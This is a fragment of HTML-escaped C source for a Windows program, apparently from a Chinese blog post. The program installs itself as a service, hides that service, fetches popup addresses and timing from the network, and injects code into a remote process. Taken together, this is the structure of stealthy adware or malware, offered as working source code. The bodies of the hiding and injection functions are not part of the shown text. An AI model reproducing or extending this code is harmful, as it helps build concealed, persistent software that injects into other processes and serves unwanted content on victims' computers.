#000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;InjectCode(&amp;nbsp;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;写代码到远程进程&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;void&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;GetConfig(&amp;nbsp;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;更新配置，获取要弹出的地址和弹出间隔时间&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;/*&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;*************************************************************************************************&lt;br&gt;*&amp;nbsp;程序入口，主函数&lt;br&gt;*************************************************************************************************&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;*/&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;int&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;WinMain(&amp;nbsp;HINSTANCE&amp;nbsp;hInstance,&amp;nbsp;HINSTANCE&amp;nbsp;hPrevInstance,&amp;nbsp;LPSTR&amp;nbsp;lpCmdLine,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;int&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;nCmdShow&amp;nbsp;)&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WCHAR&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;filePath[MAX_PATH]&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;};&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;程序本身路径&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SERVICE_TABLE_ENTRY&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;serviceTable[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;2&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;];&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;serviceTable[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;].lpServiceName&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;SERVICE_NAME;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;serviceTable[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;].lpServiceProc&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(&amp;nbsp;LPSERVICE_MAIN_FUNCTION&amp;nbsp;)ServiceMain;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;serviceTable[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;].lpServiceName&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;NULL;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;serviceTable[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;].lpServiceProc&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;NULL;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;GetModuleFileName(&amp;nbsp;NULL,&amp;nbsp;filePath,&amp;nbsp;MAX_PATH&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;如果服务未安装，安装&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;!&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;ServiceExists(&amp;nbsp;filePath&amp;nbsp;)&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;ServiceInstall(&amp;nbsp;filePath&amp;nbsp;)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;!=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;TRUE&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;else&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;!&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;StartServiceCtrlDispatcher(&amp;nbsp;serviceTable&amp;nbsp;)&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WCHAR&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tmp[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;256&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;]&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;};&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wsprintf(&amp;nbsp;tmp,&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Main&amp;nbsp;StartServiceCtrlDispatcher&amp;nbsp;error:&amp;nbsp;%d\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;GetLastError()&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;tmp&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;}&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;/*&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;*************************************************************************************************&lt;br&gt;*&amp;nbsp;服务入口&lt;br&gt;*************************************************************************************************&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;*/&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;void&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;ServiceMain(&amp;nbsp;DWORD&amp;nbsp;argc,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;argv[]&amp;nbsp;)&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;serviceStatus.dwServiceType&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;SERVICE_WIN32_OWN_PROCESS;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;serviceStatus.dwCurrentState&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;SERVICE_START_PENDING;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;serviceStatus.dwControlsAccepted&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;SERVICE_ACCEPT_STOP;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;serviceStatus.dwWin32ExitCode&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;serviceStatus.dwServiceSpecificExitCode&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;serviceStatus.dwCheckPoint&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;serviceStatus.dwWaitHint&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;ServiceMain:&amp;nbsp;Try&amp;nbsp;to&amp;nbsp;register&amp;nbsp;service\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hServiceStatus&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;RegisterServiceCtrlHandler(&amp;nbsp;SERVICE_NAME,&amp;nbsp;(LPHANDLER_FUNCTION)ServiceControl&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;hServiceStatus&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(SERVICE_STATUS_HANDLE)&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WCHAR&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tmp[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;256&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;]&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;};&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wsprintf(&amp;nbsp;tmp,&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;ServiceMain:&amp;nbsp;Register&amp;nbsp;service&amp;nbsp;error:&amp;nbsp;%d\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;GetLastError()&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;tmp&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;serviceStatus.dwCurrentState&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;SERVICE_RUNNING;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;serviceStatus.dwCheckPoint&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;serviceStatus.dwWaitHint&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;!&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;SetServiceStatus(&amp;nbsp;hServiceStatus,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;serviceStatus&amp;nbsp;)&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WCHAR&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tmp[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;256&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;]&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;};&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;swprintf(&amp;nbsp;tmp,&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;ServiceMain:&amp;nbsp;Start&amp;nbsp;service&amp;nbsp;error:&amp;nbsp;%d\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;GetLastError()&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;tmp&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;ServiceMain:&amp;nbsp;Start&amp;nbsp;service&amp;nbsp;ok\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;隐藏服务&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HideService(&amp;nbsp;SERVICE_NAME&amp;nbsp;);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;从网络读取配置&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;GetConfig(&amp;nbsp;);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;注入代码&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: 